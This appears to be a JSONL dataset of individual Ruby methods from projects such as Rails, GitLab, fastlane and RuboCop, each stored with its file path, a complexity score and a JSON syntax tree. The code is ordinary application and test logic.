{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/token_for.rb","start_line":110,"raw_source":"def find_by_token_for!(purpose, token) # :nodoc:\n        all.find_by_token_for!(purpose, token)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_token_for!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"purpose\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"find_by_token_for!\",{\"type\":\"lvar\",\"children\":[\"purpose\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}","id":"fb2e700e-222c-4f3e-84d6-4eb9f3b4cebd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/microsoft_graph_mailer/lib/microsoft_graph_mailer/delivery.rb","start_line":22,"raw_source":"def deliver!(message)\n      # https://github.com/mikel/mail/pull/872\n      if message[:bcc]\n        previous_message_bcc_include_in_headers = message[:bcc].include_in_headers\n        message[:bcc].include_in_headers = true\n      end\n\n      message_in_mime_format = message.encoded\n\n      client = MicrosoftGraphMailer::Client.new(\n        user_id: microsoft_graph_settings[:user_id],\n        tenant: microsoft_graph_settings[:tenant],\n        client_id: microsoft_graph_settings[:client_id],\n        client_secret: microsoft_graph_settings[:client_secret],\n        azure_ad_endpoint: microsoft_graph_settings[:azure_ad_endpoint],\n        graph_endpoint: microsoft_graph_settings[:graph_endpoint]\n      )\n\n      response = client.send_mail(message_in_mime_format)\n\n      raise MicrosoftGraphMailer::DeliveryError unless response.status == 202\n\n      response\n    ensure\n      message[:bcc].include_in_headers = previous_message_bcc_include_in_headers if message[:bcc]\n    end","complexity_score":41.53,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bcc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_message_bcc_include_in_headers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bcc\"]}]},\"include_in_headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bcc\"]}]},\"include_in_headers=\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"message_in_mime_format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MicrosoftGraphMailer\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"microsoft_graph_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tenant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"microsoft_graph_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tenant\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"microsoft_graph_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"microsoft_graph_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_secret\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"azure_ad_endpoint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"microsoft_graph_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"azure_ad_endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"graph_endpoint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"microsoft_graph_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"graph_endpoint\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"send_mail\",{\"type\":\"lvar\",\"children\":[\"message_in_mime_format\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]},\"==\",{\"type\":\"int\",\"children\":[202]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MicrosoftGraphMailer\"]},\"DeliveryError\"]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bcc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bcc\"]}]},\"include_in_headers=\",{\"type\":\"lvar\",\"children\":[\"previous_message_bcc_include_in_headers\"]}]},null]}]}]}","id":"3ab830b1-ce6e-4bc0-99ed-666371bbb9ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/git/branch_spec.rb","start_line":113,"raw_source":"def create_commit\n    repository.commit_files(\n      user,\n      branch_name: 'HEAD',\n      message: 'commit message',\n      actions: []\n    ).newrev\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_commit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"commit_files\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch_name\"]},{\"type\":\"str\",\"children\":[\"HEAD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"commit message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"array\",\"children\":[]}]}]}]},\"newrev\"]}]}","id":"8779e28a-06b0-44b0-a2d5-f8853a9c2293"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace.rb","start_line":141,"raw_source":"def being_watched?\n        Gitlab::Redis::SharedState.with do |redis|\n          redis.exists?(being_watched_cache_key) # rubocop:disable CodeReuse/ActiveRecord\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"being_watched?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"exists?\",{\"type\":\"send\",\"children\":[null,\"being_watched_cache_key\"]}]}]}]}","id":"f7d95815-3ef5-4d4b-b926-f808f82c20c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/compare.rb","start_line":30,"raw_source":"def commits\n        return @commits if defined?(@commits)\n\n        @commits = Gitlab::Git::Commit.between(@repository, @base.id, @head.id)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"commits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commits\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commits\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@commits\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Commit\"]},\"between\",{\"type\":\"ivar\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@head\"]},\"id\"]}]}]}]}]}","id":"85746446-7139-4157-8479-58bed5736886"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/issuable_escalation_statuses/prepare_update_service.rb","start_line":10,"raw_source":"def initialize(issuable, current_user, params)\n        @issuable = issuable\n        @param_errors = []\n\n        super(project: issuable.project, current_user: current_user, params: params)\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@issuable\",{\"type\":\"lvar\",\"children\":[\"issuable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@param_errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"84d33680-0913-49d1-bec9-16af892545d8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/ipa.rb","start_line":30,"raw_source":"def self.run(params)\n        Actions.verify_gem!('krausefx-shenzhen')\n\n        # The output directory of the IPA and dSYM\n        absolute_dest_directory = nil\n\n        # Used to get the final path of the IPA and dSYM\n        if dest = params[:destination]\n          absolute_dest_directory = File.expand_path(dest)\n        end\n\n        # The args we will build with\n        # Maps nice developer build parameters to Shenzhen args\n        build_args = params_to_build_args(params)\n\n        unless params[:scheme]\n          UI.important(\"You haven't specified a scheme. This might cause problems. If you can't see any output, please pass a `scheme`\")\n        end\n\n        # If no dest directory given, default to current directory\n        absolute_dest_directory ||= Dir.pwd\n\n        if Helper.test?\n          Actions.lane_context[SharedValues::IPA_OUTPUT_PATH] = File.join(absolute_dest_directory, 'test.ipa')\n          Actions.lane_context[SharedValues::DSYM_OUTPUT_PATH] = File.join(absolute_dest_directory, 'test.app.dSYM.zip')\n          return build_args\n        end\n\n        # Joins args into space delimited string\n        build_args = build_args.join(' ')\n\n        core_command = \"krausefx-ipa build #{build_args} --verbose | xcpretty\"\n        command = \"set -o pipefail && #{core_command}\"\n        UI.verbose(command)\n\n        begin\n          Actions.sh(command)\n\n          # Finds absolute path of IPA and dSYM\n          absolute_ipa_path = find_ipa_file(absolute_dest_directory)\n          absolute_dsym_path = find_dsym_file(absolute_dest_directory)\n\n          # Sets shared values to use after this action is performed\n          Actions.lane_context[SharedValues::IPA_OUTPUT_PATH] = absolute_ipa_path\n          Actions.lane_context[SharedValues::DSYM_OUTPUT_PATH] = absolute_dsym_path\n          ENV[SharedValues::IPA_OUTPUT_PATH.to_s] = absolute_ipa_path # for deliver\n          ENV[SharedValues::DSYM_OUTPUT_PATH.to_s] = absolute_dsym_path\n\n          deprecation_warning\n        rescue => ex\n          [\n            \"-------------------------------------------------------\",\n            \"Original Error:\",\n            \" => \" + ex.to_s,\n            \"A build error occurred. You are using legacy `shenzhen` for building\",\n            \"it is recommended to upgrade to _gym_: \",\n            \"https://docs.fastlane.tools/actions/gym/\",\n            core_command,\n            \"-------------------------------------------------------\"\n          ].each do |txt|\n            UI.error(txt)\n          end\n\n          # Raise a custom exception, as the normal one is useless for the user\n          UI.user_error!(\"A build error occurred, this is usually related to code signing. Take a look at the error above\")\n        end\n      end","complexity_score":54.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"verify_gem!\",{\"type\":\"str\",\"children\":[\"krausefx-shenzhen\"]}]},{\"type\":\"lvasgn\",\"children\":[\"absolute_dest_directory\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"absolute_dest_directory\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"dest\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"build_args\",{\"type\":\"send\",\"children\":[null,\"params_to_build_args\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheme\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"You haven't specified a scheme. This might cause problems. If you can't see any output, please pass a `scheme`\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"absolute_dest_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"test?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"IPA_OUTPUT_PATH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"absolute_dest_directory\"]},{\"type\":\"str\",\"children\":[\"test.ipa\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DSYM_OUTPUT_PATH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"absolute_dest_directory\"]},{\"type\":\"str\",\"children\":[\"test.app.dSYM.zip\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_args\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"build_args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_args\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"core_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"krausefx-ipa build \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_args\"]}]},{\"type\":\"str\",\"children\":[\" --verbose | xcpretty\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"set -o pipefail && \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"core_command\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"lvasgn\",\"children\":[\"absolute_ipa_path\",{\"type\":\"send\",\"children\":[null,\"find_ipa_file\",{\"type\":\"lvar\",\"children\":[\"absolute_dest_directory\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"absolute_dsym_path\",{\"type\":\"send\",\"children\":[null,\"find_dsym_file\",{\"type\":\"lvar\",\"children\":[\"absolute_dest_directory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"IPA_OUTPUT_PATH\"]},{\"type\":\"lvar\",\"children\":[\"absolute_ipa_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DSYM_OUTPUT_PATH\"]},{\"type\":\"lvar\",\"children\":[\"absolute_dsym_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"IPA_OUTPUT_PATH\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"absolute_ipa_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"DSYM_OUTPUT_PATH\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"absolute_dsym_path\"]}]},{\"type\":\"send\",\"children\":[null,\"deprecation_warning\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-------------------------------------------------------\"]},{\"type\":\"str\",\"children\":[\"Original Error:\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" => \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\"A build error occurred. You are using legacy `shenzhen` for building\"]},{\"type\":\"str\",\"children\":[\"it is recommended to upgrade to _gym_: \"]},{\"type\":\"str\",\"children\":[\"https://docs.fastlane.tools/actions/gym/\"]},{\"type\":\"lvar\",\"children\":[\"core_command\"]},{\"type\":\"str\",\"children\":[\"-------------------------------------------------------\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"A build error occurred, this is usually related to code signing. Take a look at the error above\"]}]}]}]},null]}]}]}]}","id":"80d53fb1-7b8b-4a9a-9662-1c37bd0fc3dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/design_management/delete_designs_service.rb","start_line":29,"raw_source":"def commit_message\n      n = designs.size\n\n      <<~MSG\n      Removed #{n} #{'designs'.pluralize(n)}\n\n      #{formatted_file_list}\n      MSG\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"n\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"designs\"]},\"size\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"designs\"]},\"pluralize\",{\"type\":\"lvar\",\"children\":[\"n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatted_file_list\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"2fba7ddc-6256-4ced-9833-5b7f7d997f30"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/integration/filtering_spec.rb","start_line":79,"raw_source":"def example_passed(notification)\n          @passed_examples += 1\n        end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"example_passed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@passed_examples\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"94ad5b1d-0281-4e25-8e0d-4410da39bdb7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/note.rb","start_line":76,"raw_source":"def comment(text, attachment: nil, filter: :all_activities)\n          method(\"select_#{filter}_filter\").call\n          fill_editor_element('comment-field', \"#{text}\\n\")\n\n          unless attachment.nil?\n            QA::Page::Component::Dropzone.new(self, '.new-note')\n              .attach_file(attachment)\n          end\n\n          has_active_element?('comment-button', wait: 0.5)\n          click_element('comment-button')\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"kwoptarg\",\"children\":[\"attachment\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"sym\",\"children\":[\"all_activities\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"select_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"str\",\"children\":[\"_filter\"]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"fill_editor_element\",{\"type\":\"str\",\"children\":[\"comment-field\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Page\"]},\"Component\"]},\"Dropzone\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"str\",\"children\":[\".new-note\"]}]},\"attach_file\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]},{\"type\":\"send\",\"children\":[null,\"has_active_element?\",{\"type\":\"str\",\"children\":[\"comment-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"float\",\"children\":[0.5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"comment-button\"]}]}]}]}","id":"63342ea0-af0b-4dfd-aaa1-99c74ff09213"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/helm/create_metadata_cache_service.rb","start_line":57,"raw_source":"def lease_key\n        \"packages:helm:create_metadata_cache_service:metadata_caches:#{project.id}_#{channel}\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lease_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"packages:helm:create_metadata_cache_service:metadata_caches:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]}]}]}]}","id":"9e27c2cf-f396-40e4-9a64-74828565f0ca"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/lambda_literal_to_method_corrector.rb","start_line":49,"raw_source":"def replace_selector(corrector)\n        corrector.replace(method, 'lambda')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_selector\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[null,\"method\"]},{\"type\":\"str\",\"children\":[\"lambda\"]}]}]}","id":"2535ff8d-2026-45fa-9d17-3aa3a7e32210"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/lock_rows.rb","start_line":53,"raw_source":"def locks_match?(expected_locks)\n    @unmatched_locks = find_unmatched_locks(expected_locks)\n    @extra_locks = find_extra_locks(expected_locks)\n\n    @unmatched_locks.empty? && @extra_locks.empty?\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"locks_match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected_locks\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@unmatched_locks\",{\"type\":\"send\",\"children\":[null,\"find_unmatched_locks\",{\"type\":\"lvar\",\"children\":[\"expected_locks\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@extra_locks\",{\"type\":\"send\",\"children\":[null,\"find_extra_locks\",{\"type\":\"lvar\",\"children\":[\"expected_locks\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unmatched_locks\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@extra_locks\"]},\"empty?\"]}]}]}]}","id":"ea674dd4-53b3-4f46-89cf-ca124c024546"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":124,"raw_source":"def ems_clusters\n    ids = get_assoc(:ems_clusters, :on)\n    ids.empty? ? EmsCluster.none : EmsCluster.where(:id => ids).order(:id)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"ems_clusters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[null,\"get_assoc\",{\"type\":\"sym\",\"children\":[\"ems_clusters\"]},{\"type\":\"sym\",\"children\":[\"on\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsCluster\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsCluster\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"3c3a2fe2-944c-4940-aed4-9b00031f7652"}
